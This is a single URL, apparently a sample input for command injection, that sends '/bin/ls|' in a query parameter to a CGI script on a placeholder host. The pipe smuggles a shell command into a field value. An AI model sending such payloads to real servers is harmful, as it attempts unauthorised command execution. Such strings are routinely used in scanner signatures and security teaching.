http://www.somehost.com/path/to/script/badscript.cgi?name=x-/bin/ls|